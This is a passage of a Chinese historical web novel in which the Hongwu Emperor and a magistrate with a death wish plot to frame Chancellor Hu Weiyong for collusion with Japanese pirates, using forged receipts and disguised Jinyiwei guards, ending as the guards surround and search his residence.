面对马皇后的询问,朱元璋幽幽叹道:“胡惟庸不知从哪找了只商队来到松阳通商,给徐彦祖安上了一个通倭的帽子。” 随即,朱元璋将整件事情的来龙去脉向二人讲出。 了解完事情经过之后,朱棣猛然想起之前教训的那群东瀛人,以及后面徐彦祖为了替他们出气所做的事情。 “回禀父皇母后,前些日子的确有一批东瀛人来到松阳县,父皇口中所说的商队确有其事。” “至于通倭一事,完全是子虚乌有。” 朱棣将徐彦祖的所作所为告知给了朱元璋。 朱元璋没想到其中竟然隐藏着这么多的内情。 不过朱元璋也拼凑出了整个事情的经过。 “这样看来,那支商队极有可能是胡惟庸故意派来松阳和徐彦祖通商,不管事后徐彦祖是否假扮东瀛人打劫他们,这顶通倭的帽子胡惟庸都会给徐彦祖扣上。” 这是胡惟庸赤裸裸的栽赃嫁祸。 “真没想到,胡惟庸为了对付徐彦祖,竟然如此不择手段。” 马皇后骂了一句,随后对朱元璋问道:“重八,如今你打算怎么做?” 朱元璋语气冷厉:“胡惟庸欺上瞒下,更是为了铲除异己不择手段,这样的人要是留着,只会让我大明朝乌烟瘴气。” 这话一出,马皇后朱棣二人立刻就明白了,朱元璋这是打算对胡惟庸动手了。 不过在此之前,首先应该解决的是胡惟庸陷害徐彦祖一事。 因此马皇后对朱元璋劝慰道:“重八,还是要先洗清徐彦祖身上的罪名,否则日后重用徐彦祖难免会遭受非议。” 这一点朱元璋自然知晓,这也是他这一次来松阳县的原因。 “不过事到如今,我很好奇徐彦祖究竟是不是浙东集团的人,是不是刘伯温留下来的后手?” 胡惟庸如此针对徐彦祖,也让朱元璋对徐彦祖的身份产生了怀疑。 关于这个问题,马皇后摇了摇头,尽管她在松阳县住了这么长的时间,但是她也不敢说徐彦祖一定就是刘伯温留下来的后手。 不过徐彦祖之前一直不显山不露水,浙东集团那边也从没有人上书提拔过徐彦祖,因此马皇后觉得徐彦祖和浙东集团并无关系。 “反正这件事是因徐彦祖而起,不妨先去问问徐彦祖的看法,顺便试探他一番。” 马皇后沉吟片刻后提议道。 朱元璋点点头,他也有同样的想法。 毕竟来之前,朱标就和他商议过,解铃还须系铃人。 于是次日一早,朱元璋便跟随朱棣来到了种植园。 当徐彦祖在种植园内见到朱元璋的时候,原本还是一副睡眼惺忪的样子,结果下一秒就不可置信的揉了揉眼睛。 “朱大善!我是不是眼花了!” 说着,徐彦祖竟然上手打算去拽朱元璋道胡须。 还是一旁的朱棣拦住了徐彦祖,哭笑不得解释道:“徐知县,家父昨日晚上刚到松阳,你没有眼花。” 一听朱元璋当真又来到了松阳县,徐彦祖心中不由暗暗窃喜。 朱元璋一来,那他的作死大计又可以继续施展了。 不过同时,徐彦祖也猜测着朱元璋的来意,他和朱元璋之间的交集不过是之前的水泥厂订单。 “朱大善这一次来不能是来催水泥的吧?” 徐彦祖暗暗想道。 朱大善可是松阳县的大主顾,秉承着客户至上的原则,徐彦祖连忙说道:“朱大哥你放心,水泥的事情我可一直派人盯着呢。并且第一批水泥已经出发在路上了,要不了几天就能到达应天府,绝对不会耽误。” 朱元璋闻言,笑着摇了摇头道:“没事,水泥的事情不必着急,我这一次来可不是为了催工,而是专门有事想要和徐老弟你请教一番。” “专程为我而来?” 徐彦祖不由有些惊讶,他偏过头看了朱棣一眼,思考这段时间自己说的话应该传递到了朱元璋那边,朱元璋只要按照自己说的话去进行改革,就不会出乱子。 并且之前徐彦祖提议将王海派去协助朱元璋,如今应该也已经到了地方,按理来说应该不会有问题才对。 为了保险起见,徐彦祖还是试探性的问了一句:“朱大哥,可是改革的事情出现了纰漏?还是王海有什么地方做的不对?” 朱元璋依旧还是摇头,他也没打算让徐彦祖继续猜下去,直接开门见山说道:“我这一次是为了朝堂上的国家大事而来。” “徐彦祖,你可知你的老师诚意伯刘伯温是浙东一派的领头人?” 朱元璋这话,明显带有试探之意。 徐彦祖一时间不明白朱元璋的意图,不过还是点了点头。 “我老师的名头这么响亮,我这个做弟子的岂能不知?” 第九十章 对付胡惟庸 刘伯温是浙东一派的领军人物,这件事情整个朝野谁人不知谁人不晓。 只可惜在和淮西一派道斗争中失败,倘若不是他及时送去书信,只怕刘伯温现在已经被胡惟庸给毒杀在应天府了。 见徐彦祖点头,朱元璋接着说道:“曾几何时,浙东一派在朝中势力庞大,能够和淮西勋贵分庭抗礼。可随着诚意伯在青田病逝,浙东一派在朝中逐渐式微,如今甚至到了生死存亡的关头。倘若再没有领头人出现,只怕就要被胡惟庸等淮西勋贵打压殆尽了。” 朱元璋在说这话的时候,故意做出一副惋惜的样子,同时用眼角的余光观察着徐彦祖的神色。 可是即便朱元璋将话说到了这个份上,徐彦祖的神色依旧是没有任何的变化,就仿佛浙东一派和徐彦祖并无关系,他们的死活徐彦祖也并不关心。 殊不知,徐彦祖这是在思考朱元璋的身份。 朱元璋大老远特意跑来松阳县见他,还故意点出浙东集团的困境,这其中肯定有他不知道的隐情。 甚至徐彦祖怀疑,眼前这个朱大善,不会是已经投靠了胡惟庸一派,然后打算来他这里套取情报吧。 不过还未等徐彦祖试探,朱元璋竟然主动自报家门说道:“徐老弟实不相瞒,其实咱先前也是浙东一派的官员。” “关于诚意伯的死讯,朝堂之上一直存在争论。即使是在浙东派系之内,也有不少声音认为,当初诚意伯只是诈死脱身,如今尚在人世。” “这一次来找你,也是想要问问你知不知道诚意伯究竟是否真的过世了,如果没有,那他究竟身在何处。或者你师傅有没有给你留下什么后手,好让我们在胡惟庸打压下博取一线生机。” 话音落下,朱元璋竟然躬身就要对徐彦祖行大礼。 这可把徐彦祖和朱棣二人都吓了一跳。 尤其是徐彦祖,几乎已经打消了试探朱元璋的念头。 只是他十分好奇。 按理来说,如今才洪武十年,这个时候朱元璋不应该想杀胡惟庸作对才是。 毕竟如今胡惟庸在朝堂上权势滔天,只能避其锋芒。 而之前从朱大善谈论起刘伯温的态度来看,他可不像是浙东集团的人。 加上自己曾经询问过朱大善几人的来历。 朱大善是朱元璋老家的亲戚,而郑大姐则是马皇后娘家那边的亲戚。这两位无论从哪算,都应该是淮西人,那就更不可能加入浙东一派。 因为只要是淮西出身,那身上就自带淮西一派的标签。 但随即徐彦祖就脑补出了一个画面。 “一定是朱大善得知了自己儿子被胡惟庸的人刺杀,出于爱子心切,所以才叛出淮西一派,加入了浙东集团!” 徐彦祖心头一震。 目光敬佩的望向朱元璋。 他没想到,朱大善为了自己的儿子,竟然能够做到这种程度,完全是拿自己的性命做赌。 但同时,徐彦祖也觉得朱大善做事太过于冲动,什么都还没了解呢,就敢亲自跑过来问自己。 不过这也符合朱大善一贯的作风。 这个人,肠子就是直! “真是父爱如山,可是朱大哥你这个时候加入浙东集团,糊涂啊!你就算是想要为朱小四报仇,也没必要在胡惟庸如日中天的时候和他作对。只需要等待三年,三年后胡惟庸必定遭劫。” 徐彦祖将之前安抚马皇后的话又对朱元璋说了一遍。 三年? 朱元璋双眼一瞪。 让他继续容忍胡惟庸三年? 别说三年,就是三天他都不愿意等。 “徐老弟,我不要三年,我要三个月,甚至三天!咱现在就想要胡惟庸遭劫,可有办法?” 朱元璋急切问道。 徐彦祖摇了摇头,现如今胡惟庸可是他求死路上的贵人,他怎么会让胡惟庸在自己前面先死。 更何况他一旦帮了朱大善,帮了这群浙东集团的官员扳倒了胡惟庸,那他以后想要求死,不得跳出来一大堆人力保他,那岂不是搬起石头砸自己的脚。 “朱大哥,还是等一等吧,时机还不成熟,左右不过三年时光,转眼即逝。” 徐彦祖劝慰道。 面对徐彦祖的劝慰,朱元璋心里有些麻了。 徐彦祖这分明就是有办法,只是不愿意去做。 这小子跟刘伯温一个德行,明明肚子里装着一肚子坏水,就是不肯当出头鸟! 他在松阳县都干出了这么大的功绩,还瞒上瞒下的不肯告诉自己,不就是怕锋芒太露,被胡惟庸那些淮西文臣针对吗? 可咱是大明皇帝,大明真正意义上的掌权人,有咱给他撑腰,他还怕什么? 想是这么想,朱元璋却清楚,如今还不是暴露身份的时候。 随即,朱元璋便对徐彦祖叹了口气说道:“徐老弟不瞒你说,别说三年,只怕不出三个月,我们浙东一派和你徐老弟的性命,就要交代在胡惟庸的手中了。” 徐彦祖一听,顿时眼前一亮。 特么有这种好事? 不愧是我的好胡相啊! “朱大哥,你快展开说说。” 朱元璋见徐彦祖满脸兴奋的样子,差点以为自己说错了什么话。 怎么他听见自己要死了,还这么高兴? 朱大善想不明白,干脆摇了摇头,沉声说道: “你可知胡惟庸在朝堂上如何污蔑于你?” “他说你通倭啊!” “这可是诛九族的死罪,一旦被胡惟庸坐实这件事,到时候和你身边有牵连的人,全都要死。甚至一旦松阳县被扣上了养寇自重的帽子,那你这些年兢兢业业为松阳县的付出将会彻底打水漂了。万一陛下震怒之下,只怕这松阳县要血流成河啊!” 果不其然,朱元璋此言一出,徐彦祖便再也坐不住了。 “你说什么?那胡惟庸这老狗竟然敢说我徐彦祖通倭?往我身上泼脏水?” “他妈妈滴,这老狗真是烂泥扶不上墙!一手好牌打稀碎!” 徐彦祖的确是一心求死,但是背着通倭这种千秋万代的骂名去死他可做不到。 更为关键的是,朱元璋这话也算是说到了徐彦祖的心坎上。 他可以死,但不能连累松阳县的百姓,更不能让自己这些年的心血付诸东流。 好你个胡惟庸! 刀都递到你手上了,你他么直接捅就行了,非得沾上点屎! 既然你胡惟庸主动找死,那就别怪小爷我手段高明了! “朱大哥你放心吧,我虽然不是你们浙东集团的人,但是我有办法对付胡惟庸。” 徐彦祖的话让朱元璋神色一喜。 他暗暗窃喜:“我就知道徐彦祖这小子鬼主意多,说不定早就想好了对付胡惟庸的办法。不过我话都说到这个份上了,这小子竟然不承认自己是浙东一派的人,也没有提到刘伯温,难道他当真身世清清白白?” 朱元璋心底有些疑惑。 不过无论如何,当务之急是先铲除掉胡惟庸,同时洗刷徐彦祖身上通倭的罪名。 至于徐彦祖是不是浙东一派的人,对朱元璋来说没有太大的问题,反正日后都是要重用徐彦祖。 如今徐彦祖主动撇清和浙东集团的关系反而更合他心意。 免得日后徐彦祖变成下一个胡惟庸。 既然如今徐彦祖有了办法,朱元璋也放下心来。 不过面上依旧还是装作急切的样子对徐彦祖询问道:“徐老弟,不知你想到了什么办法来对付胡惟庸?” “我可得提醒你,胡惟庸可是左丞相,手里的权力很大!” “一般的法子,可弄不死他!” 第九十一章 以身入局 朱元璋这话是在告诉徐彦祖,如今胡惟庸手握权力巨大,一般的阴谋诡计对他没用。 徐彦祖自然知道这一点。 寻常的罪责对胡惟庸来说根本就无关痛痒。 但他徐彦祖是何人? 历经了九个朝代,朝堂上的那点弯弯绕绕,钩心斗角,他早就玩烂了! 死在他手里的乱臣贼子,奸佞之臣,足以让他写上十本醒贪简要录! 想要整死一个胡惟庸还不是手到擒来? 他嘴角带着笑意:“朱大哥你就放心吧,那胡惟庸不是往我身上泼脏水,诬告我通倭吗?既然如此,那我就给他来个以其人之道还治其人之身。” 徐彦祖心中已经有了想法。 不过种植园人多眼杂,徐彦祖朝朱元璋朱棣父子使了个眼色,随后带着二人来到县衙。 回到县衙之后,憋了一路的两人连忙看向徐彦祖,等待着徐彦祖的下文。 徐彦祖则是不慌不忙的从一本册子中拿出了一沓票据,递给了朱元璋。 “朱大哥你看,这就是之前那东瀛商队来我这通商的票据,这就是对付胡惟庸的关键。” 朱元璋接过票据,有些不太明白。 “就靠这个票据有什么用?而且这个票据要是落入胡惟庸的手里,不正好坐实了你通商的事实?” 在朱元璋看来,只要徐彦祖拒不承认和那些东瀛人做过交易,这件事自然从源头上就解决了。 可徐彦祖竟然还打算利用这票据来对付胡惟庸,这岂不是自投罗网。 徐彦祖则是淡淡一笑说道:“既然胡惟庸说我松阳县出现的东瀛人是倭寇,栽赃嫁祸于我,那我同样也可以反其道而行之栽赃嫁祸于他。不仅如此,我还要将之前来我松阳县通商的东瀛人也一并宣扬成倭寇。” 此言一出,朱元璋和朱棣面色一变,两人实在不明白徐彦祖到底打的什么算盘,可是真要宣扬东瀛商队是倭寇,那岂不是正好坐实了徐彦祖通倭的事情。 “徐老弟,万万不可啊,你这样做不是正好坐实通倭的嫌疑吗?” 朱元璋连忙劝阻道。 见两人这副慌乱的样子,徐彦祖不由笑了起来。 他对两人解释道:“我朱大哥你先听我说,我打算在伪造一批票据,同时再往应天府发一批琉璃过去,到时候就麻烦朱大哥你找一群东瀛人冒充倭寇,将这批货卖到胡惟庸的府中,到了那个时候,再以这票据为证,状告胡惟庸通倭,并且收受倭寇的贿赂。” 听到徐彦祖的办法之后,朱元璋和朱棣两人瞬间眼前一亮。 正所谓虚虚实实,真真假假,胡惟庸既然用假的倭寇来陷害徐彦祖,那么徐彦祖自然也可以还以颜色。 并且这其中的人手都是朱元璋自行安排,加上票据出自徐彦祖之手,完全可以证明这件事情的真实性。 除非胡惟庸放弃针对徐彦祖。 可是即便如此,一旦染上了通倭的嫌疑,对于胡惟庸而言也是一桩麻烦事。 更因为胡惟庸身处高位,作为左丞相,吸引到的目光只会更多。 而百姓自然同情弱者,那么民间自然就会声援徐彦祖,那之前胡惟庸诬陷徐彦祖通倭一事自然告破。 可是胡惟庸本身却经不起查,加上由朱元璋来操作其中的事情,操作空间大不说,更能化被动为主动,想如何给胡惟庸定罪都可以。 “既然如此,那咱这就传信回去准备。一旦胡惟庸否认通倭一事,那就否认了徐彦祖通倭。可是琉璃器皿一旦送入相府就能够搜的出来,到那个时候,胡惟庸自然百口莫辩。” 朱元璋不由佩服徐彦祖,这么短的时间就想到一个借力打力的办法。 一旁的朱棣眼中更是充斥着惊叹。 徐彦祖想的这个办法,可以说是在必死的局面中反将一军,找到了出路。 “徐老弟真是大才,待到这次风波过后,咱就跟皇上进言。一定给徐老弟你升官加爵,区区一个七品知县实在是太屈才了。” 朱元璋如此对徐彦祖是越来越喜爱,巴不得徐彦祖早日升官到其他地方发光发热。 朱棣的点点头说道:“如今胡惟庸在朝中势力庞大,正需要徐老师你出山好好惩治一下,打击他的嚣张气焰。并且浙东集团群龙无首,我看徐知县你完全可以毛遂自荐,带领浙东集团重返荣光。” 朱棣这话让徐彦祖微微摇头。 他只是想对付胡惟庸,但不代表他要做下一个刘伯温。 在朱元璋的手底下当官,自己虽然死得快,可死得惨啊! 简简单单的砍头一刀还没啥,万一弄个千刀万剐,或者扒皮充草,体验一下生不如死的酷刑,那还真是个麻烦事。 再加上,徐彦祖如今在思考,可不可以利用谋划胡惟庸的这件事情将自己牵扯进去。 这也就是为什么徐彦祖明明有很多种办法对付胡惟庸,却偏偏要用最险的一种。 自始至终,徐彦祖都没有放弃求死。 “倘若我在最后关头将罪证还有这一次诬告的证据全部交给胡惟庸,让其临死前对我反击,说不定能够让朱元璋将我赐死。” 徐彦祖暗暗开始谋划。 随后他看向朱元璋,对其问道:“如果没有什么问题的话,就按照我的计划行事。” 朱元璋自然没有意见,不过他还是觉得没必要让徐彦祖将自己牵扯进去。 要知道就算最后真相大白,可徐彦祖的名声必定会受到损害。 在朱元璋看来,徐彦祖日后必然是宰辅之位,如果在这个时候污了名声,对日后的影响可不小。 所以,朱元璋不免有些迟疑道:“徐老弟,还有没有其他的办法,不一定要以身入局,万一胡惟庸狗急跳墙,硬要拖你下水,说你通倭该怎么办?” 闻言,徐彦祖心中一喜,他要的就是这个结果。 不过表面上,徐彦祖还是义正词严的说道:“我辈义士,在朝为官,只要能够为皇上分忧,为百姓做事,能够将贪官污吏铲除殆尽,就算凭空受了些委屈又如何。” “更何况,我相信皇上和百姓的眼睛是雪亮的,就算一时间被胡惟庸等人蒙蔽,日后也必定会真相大白,到了那个时候再给我沉冤昭雪就行。” 徐彦祖这番话说的朱元璋和朱棣心头一震,两人由衷对徐彦祖升起一股敬佩之情。 毕竟徐彦祖只要做,一旦胡惟庸真的拖他下水,等到朝堂给他平冤昭雪的时候,指不定徐彦祖的坟头草都几丈高了。 第九十二章 计谋开始 “朱大哥,不要再犹豫了,你如今多犹豫一分,你身后的浙东一派就要被迫害一人,倘若能够牺牲我一人还我大明朝一个朗朗乾坤,哪怕是师傅也一定会同意的。” 徐彦祖见朱元璋还有些犹豫不决,直接将刘伯温给抬了出来。 毕竟现如今朱元璋自称自己是浙东一派的人,徐彦祖这样说他自然只能点头同意。 朱元璋上前重重的拍了拍徐彦祖的肩膀,神情无比感动:“徐老弟,真没想到你有如此高的思想觉悟,不过你放心,如果那胡惟庸当真胡乱攀咬,我一定在皇上面前力保于你,哪里是豁出我这条老命,也要保你平安!” 听到朱元璋这话,徐彦祖顿时有些崩溃! 谁特么让你豁出老命保我了? 你安分点,好好过你的日子不行吗? “朱大哥,你的好意小弟心领了,可是小弟不过孤身一人,就算是死也是死得其所。但是朱大哥你不同,你身后还有郑大姐等人,还有你那走失的女儿,你可不能为了我就做抛妻弃子之人啊!” “否则,岂不是陷我于不仁不义之地!” 徐彦祖此言一出,朱元璋只感觉心中热流滚动。 他没想到徐彦祖竟然如此重情重义,甚至还为他着想。 不过朱元璋虽然面上流露着不舍,对徐彦祖轻轻点头。 然而他的眼底却带着一抹笑意。 毕竟徐彦祖并不知道他的真实身份,他可是大明朝的开国皇帝,想要徐彦祖活下来还不简单吗? 何况这一次徐彦祖将事情交由他去办,由他完全掌控,想要给徐彦祖平冤昭雪还不是手到擒来的事情。 一旁的朱棣看着朱元璋故作流泪的样子,无奈的转过了头。 见状,徐彦祖还以为朱棣同样对自己不舍。 刚准备安慰一下朱棣,就发现朱棣嘴角噙着一抹笑意。 见徐彦祖的目光看来,这才故作严肃。 “小四,你在笑什么?” 徐彦祖有些疑惑。 朱棣紧紧捏着拳头,极力克制不让自己笑出声。 面对徐彦祖的询问,他缓了下才解释道:“我想起了高兴的事情。” “高兴的事情?” “恩,”朱棣强忍住笑意点了点头,“胡惟庸的好日子到头了。” “你看你,喜怒要不形于色!你看看你爹,他就不像你这样。” 说着指了指朱元璋。 朱元璋见状,连忙正襟危坐。 随后,徐彦祖和朱元璋便到一旁商议起计划的细节来。 不多时,徐彦祖就将一批琉璃送到了酒店。 而朱元璋则是叫来了随行的蒋瓛。 这一次朱元璋带蒋瓛来松阳县,自然是打算让其戴罪立功。 毕竟之前那个证人是出于蒋瓛的疏忽才会被人杀害,这是他的纰漏,自然也该由他来弥补。 “蒋瓛。” 朱元璋唤了一句,随后指着一旁的琉璃吩咐道:“这一批琉璃事关重大,咱要你带着锦衣卫假扮成倭寇将其运送进应天府,并且想办法卖进胡惟庸府上。” 蒋瓛闻言,眼底闪过一丝错愕。 让他带着锦衣卫的兄弟们去干这样的事情,很明显朱元璋这是打算效仿胡惟庸,来一个栽赃嫁祸。 同时蒋瓛也明白,这是朱元璋对胡惟庸做出的反击,更是他戴罪立功的时候。 于是蒋瓛毫不犹豫点头应道:“请皇上放心,属下必定办好这件差事!” 朱元璋点点头:“这件差事要是办不好,你也就不必回来见我了。” 这可是徐彦祖堵上名声性命的计划,在朱元璋的眼里,只许成功不许失败。 当天夜里,一队人马带着一车的琉璃器皿悄悄出了城。 数日之后,这批人马就到了应天府。 抵达应天之后,蒋瓛立刻派人去相府门口蹲守,观察胡惟庸的一举一动。 而他自己,则是找来了两个锦衣卫,让其一个换上东瀛人的衣服,另外一个换上富商的衣服。 在两人换衣服乔装打扮的时候,蒋瓛还对两人叮嘱道:“记住了,你们两个待会就按照计划行事,一个负责假扮商人,一个负责假扮小贩,务必要在相府门口引起注意。” 面对蒋瓛的叮嘱,两人面露苦色。 “头,让我们抓人杀人我们在行,可是让我们去相府门口叫卖琉璃,这我们能行吗?” “是啊,要不还是由你亲自上阵吧,这可是皇上交代的差事,要是办砸了我们可不好和皇上交代。” 两人这番诉苦在蒋瓛看来分明就是在推卸责任。 他冲二人没好气的说道:“你们两个可别忘了,上一次就是你们两个一时不察,这才酿成了大祸,而且刚才你们自己都说了,这可是皇上交代的任务,你们敢不去?” 其中一连听到这话连连叫苦:“可是头,上一次我又没和你们一起出任务,干嘛要带上我?” “还不是因为胡惟庸还有相府里面那群人认识我,要不是看你机灵,平日里嘴皮子厉害,我才不会让你来,这可是美差,办好了升官发财不是梦!” 蒋瓛瞪了他一眼,随后将两人朝相府那边一推,自己则是隐没在黑暗中仔细观察。 两人见状,只能无奈对视一眼,随后按照计划行事。 各自在街上溜达了两圈之后,眼看着时辰胡惟庸即将回府,两人刻意在相府门口撞到了一起。 “哎哟!我说你这厮,走路怎么不长眼睛,撞的老爷我生疼!” “对不住对不住,我有急事赶着去御宝斋,老爷您多多包涵。” 说着,其中一人就要快步离去,可另外一人却将他给拉住。 “我看你这身衣服,是从东瀛来的吧,身上揣着什么宝贝要去御宝斋,不妨拿出来给王老爷我看看,要是合适咱们在这就能交易。” 王老爷声音洪亮,一说到宝贝二字,周围的路人立刻就被吸引了过来。 眼见人都聚集了过来,扮作东瀛人的锦衣卫眼神飘忽不定,四下看了一眼后走到王老爷的面前,从宽大的袖子里拿出了一个秀气玲珑的琉璃盏。 “王老爷,这可是我从东瀛带回来的精品琉璃,要不您给掌掌眼?” 王老爷随即接过琉璃盏放在了阳光下,只见光亮瞬间透过琉璃盏,看着众人连连惊叹。 明眼人都看得出来,这绝对是个不可多得的好宝贝。 第九十三章 抢夺琉璃 相府门口的动静自然惊动了侍卫,很快就有两个侍卫走到众人门前呵斥道:“你们是干什么的!这里是相府,门口不允许喧哗!” 见状,众人只好悻悻离开。 王老爷则是对侍卫赔笑了一番,而后将东瀛人拉到一旁。 下一秒,当众人还没有完全散去时,只听到王老爷传来一声惊呼:“你竟然从东瀛带来了这么多的琉璃!” 原本已经散开的人群在听到这一句话后立刻就将两人团团围住。 只见那东瀛人旁边不知何时出现了几个硕大的包裹,将其打开里面赫然摆放着不少的琉璃器皿,在阳光的照耀下,炫目多彩。 就在这时,不远处一顶豪华的轿子正徐徐朝着相府而来,这自然就是胡惟庸的轿子。 到相府门口刚一落轿,胡惟庸掀开帘子就注意到不远处聚集的人影。 “何时聚集了这么多的百姓?” 他神色有些好奇,一旁的侍卫见状连忙解释道:“相爷,那儿有人在卖琉璃,所以吸引了不少人。” “据说还是从东瀛运过来的琉璃,个个都是精品!” “琉璃?” 胡惟庸眉头不由一挑。 带着好奇的心理,他让侍卫上前分出一条路来,随后大摇大摆的走了过去。 刚一过去,胡惟庸的目光就被那满地的琉璃所吸引。 只见地上铺满了形态各异的琉璃器皿,哪怕是胡惟庸见多识广,可一下看到这么多的琉璃,呼吸还是不免有些急促起来。 而两个假扮的锦衣卫自然也注意到了胡惟庸,因此他们更加卖力表演起来,当众开始了讨价还价。 两人本想靠这种方式引起胡惟庸的注意。 殊不知当胡惟庸看到那满地的琉璃器皿之后,脑子里瞬间就想起了之前小野君和小泉太郎被劫走的琉璃器皿。 虽然胡惟庸也不敢保证这些琉璃器皿就是小泉太郎他们丢失的那一批。 可是这卖琉璃之人身着东瀛的衣服,琉璃器皿的数量又如此庞大,又正巧出现在应天府,哪里会有如此碰巧的事情? 在胡惟庸看来,这十有八九就是小泉太郎他们丢失的那一批琉璃。 “可是这批琉璃器皿为什么会出现在应天府?就不怕被有心人给盯上吗?” “小野君他们并没有暴露身份,所以抢夺这批琉璃的人也未必知道他们就在应天府。既然如此,那这一批赃物我就可以名正言顺的收下。” 想到这里,胡惟庸叫来一旁的侍卫,对其说道:“你现在回府带一队人马前来,将这两个让给我抓进相府之中,还有那些琉璃也一并带回来。” 说完,胡惟庸贪婪的望了一眼地上的琉璃器皿,这才恋恋不舍的转身离去。 见胡惟庸离开,两个锦衣卫立马就着急了。 他们不明白为何胡惟庸明明已经表露出了感兴趣的样子,竟然会如此突兀的离开。 不过胡惟庸一走,两人失去了目标自然不会继续留在这里。 互相对视一眼之后,两人假意成交就要离开相府。 可下一秒就被侍卫给围了起来。 “都别动!相府办案,怀疑你们这批琉璃器皿来路不正,现在就跟我回相府调查!” 说着,侍卫就将两个锦衣卫给抓了起来,至于那些琉璃器皿,自然也一同被送入了相府之中。 与此同时,在暗中观察的蒋瓛看到胡惟庸的手下将两个锦衣卫抓走之后,心头一喜。 很明显,胡惟庸这是打算将这一批琉璃器皿占为己有,这正好中了徐彦祖的计策。 随即,蒋瓛按照朱元璋吩咐,立刻回去召集锦衣卫,打算强行搜查胡惟庸的相府。 而另外一边,两个锦衣卫被抓到相府之后,那领头的侍卫只是警告了他们一番。 “你们两个小蟊贼,应该知道自己手里这批琉璃器皿来路不正。今日相爷心情好,就不和你们计较,不扭送你们去官府了,至于这批赃物,就由我相府先行保管。” 说罢,领头的侍卫就将两人推出了相府。 随着砰的一声巨响,相府的门重重关闭,将两人隔绝在门外。 两人不约而同回头对着相府大门啐了一口。 “这胡惟庸真是个王八蛋,自己想要将那批琉璃器皿占为己有,还冠冕堂皇的给自己找理由,真是当了婊子还要立牌坊!” “没错,不过胡惟庸绝对不会想到,他今日的贪婪会给他带来致命之灾!我们回去禀告大人吧。” 两人心中都在冷笑,胡惟庸敢收取这批琉璃器皿,要不了多久就会原封不动的吐出来。 而两人才刚刚走到门口,就见到一脸笑意的蒋瓛。 “头,那批琉璃器皿已经被胡惟庸给霸占了,接下来是不是轮到我们进去搜查了!” “是啊头,这可是丞相府,我这辈子都没搜查过这等高官的府邸,什么时候可以搜查?” 蒋瓛笑着回道:“先让胡惟庸得意一会儿,让他在出事之前再好好欣赏下那些琉璃器皿吧,我们先回去召集人手。” 相府内,胡惟庸的面前摆放着不少琉璃器皿,其中不乏他之前在锦衣卫手中看到的那个琉璃盏,还有其他精美的琉璃器皿。 尤其是一尊琉璃雕刻的龙形灯盏,更是让胡惟庸爱不释手。 “真是大师级的作品,这每一个琉璃都如此栩栩如生,放在外面都是一等一的精品,就算是前些年外邦进贡的琉璃器皿,也远远不如这一盏琉璃灯!” 胡惟庸对手中的琉璃是越看越喜欢。 一旁的管教更是喜笑颜开,忙不迭的上前恭维道:“老爷能够收获如此多的至宝,真乃天下第一等福气之人啊!” 胡惟庸哈哈大笑起来:“我的确有福气,刚好回府就遇到这群抢夺小泉太郎东西的家伙,更是不费吹灰之力就将这些琉璃器皿收入囊中,连半个子都没有花。” 胡惟庸一想到小泉太郎花了几十万两白银接过却落得一场空,而自己不过是派出了些人手就白得这些琉璃器皿,心情瞬间大好。 第九十四章 搜查相府 “恭喜老爷,贺喜老爷!” 管家也跟着俯身笑道。 毕竟有这么多的琉璃器皿,要是胡惟庸一开心了,指不定会赏他一两件呢。 要知道这可是琉璃,在应天府随便一个琉璃都能卖出几千两的高价,甚至上万两都有可能。 然而就在这个时候,一个下人却急匆匆的进来禀报。 “老爷大事不好了,门外来了一大队人马,将相府给围起来了!” 下人这话一出,胡惟庸和管家神色瞬间一变,随即两人勃然大怒。 管家更是怒斥道:“大胆!何人胆敢围困相府,难道不知道这里是什么地方吗?” “你难道没有告知他们,这里乃是丞相府,是老爷的府邸,除非圣上下令,否则无人有权搜查!” 闻言,下人点头如同捣蒜一般回道:“小的说了,可是那些人却说圣上的口谕马上就到,要小的即刻打开门迎接他们进府。” 此言一出,胡惟庸顿时一惊,他眼底的愤怒瞬间化作疑惑和惶恐。 “皇上他有口谕?要搜查相府?” 胡惟庸心头隐隐闪过一丝不好的预感。 同时他也明白了围住相府之人的身份,普天之下整个大明朝,除了朱元璋管辖的锦衣卫之外,再无其他人敢如此对他胡惟庸! 可是胡惟庸心中同样疑惑。 “为何皇上有口谕我却没有收到半点消息,锦衣卫出动围困我相府也是如此。” 胡惟庸细思极恐,此刻他就如同瞎子聋子一般,对朱元璋的动向竟然毫无所知。 甚至等到锦衣卫将整个相府围困他才得知这个消息。 倘若朱元璋要对他动手的话,岂不是说相当于锦衣卫拿着剑架在他脖子上他才知道。 这让胡惟庸此刻对朱元璋升起了一股恐惧,脸色不由开始发白,甚至身体都有些摇晃。 一旁的管家见状,连忙上前搀扶住胡惟庸,对其关切问道:“老爷,你没事吧?” 胡惟庸摆了摆手,闭上眼睛缓了一会后连忙起身。 “快,既然有圣谕,那就快扶我去大门迎接。” 胡惟庸此刻心乱如麻,锦衣卫作为朱元璋手中最锋利的一把刀,哪怕是他这个左丞相依旧胆寒。 如今朱元璋让锦衣卫封锁整个相府,是否要对他动手? 胡惟庸不敢想,更不愿去想。 随后,等到胡惟庸在管家搀扶下来到大门口时,眼前的一幕吓的他脸色发白。 只见相府的那些侍卫全部被锦衣卫擒拿在地,甚至领头的几个还被锦衣卫用刀架在脖颈上,仿佛下一刻就会让他们身首异处。 同时,当胡惟庸看到锦衣卫带队之人竟然不是毛镶而是蒋瓛时,整个人的心瞬间就凉了半截。 如果是毛镶的话,他还尚且能够凭借两人的关系上前打探一番。 可是蒋瓛,跟他没有半分交集。 即便如此,胡惟庸还是硬着头皮上前询问道:“蒋大人,这是怎么回事?” 面对胡惟庸的询问,蒋瓛嘴角带着讥讽,漫不经心的说道:“也没什么大事,不过是这些侍卫想要对我们动手,左右不过一个抗旨不遵而已。” 抗旨不遵而已? 胡惟庸等人神色瞬间大变。 看蒋瓛那轻飘飘的语气,不知情的还以为这不过什么小的罪责。 然而抗旨不遵,这可是实打实的重罪! 就算是胡惟庸也担待不起。 但是面前这些都是对胡惟庸忠心耿耿的侍卫,否则也不会和锦衣卫动起手。 胡惟庸自然不可能放弃他们。 但看蒋瓛的样子,明显是不打算善罢甘休。 胡惟庸一时间不由犯了难,犹豫过后他还是走到蒋瓛面前,拱手赔笑道: “蒋副指挥使!这些家仆有眼不识泰山,冲撞了锦衣卫的各位兄弟,本相在这里替他们赔个不是,还望蒋大人大人不计小人过,念在他们都是初犯,放他们一马。” 因为还不知道朱元璋有何口谕,所以胡惟庸将姿态放的很低。 可即便如此,蒋瓛依旧没有放人的打算,反而对胡惟庸玩味说道:“胡相培养的侍卫很不错嘛,竟然敢对锦衣卫动刀,不知这是胡相教导他们的呢,还是他们自己猖狂呢?” 蒋瓛此言一出,胡惟庸脸色瞬间一变,随即面色一沉。 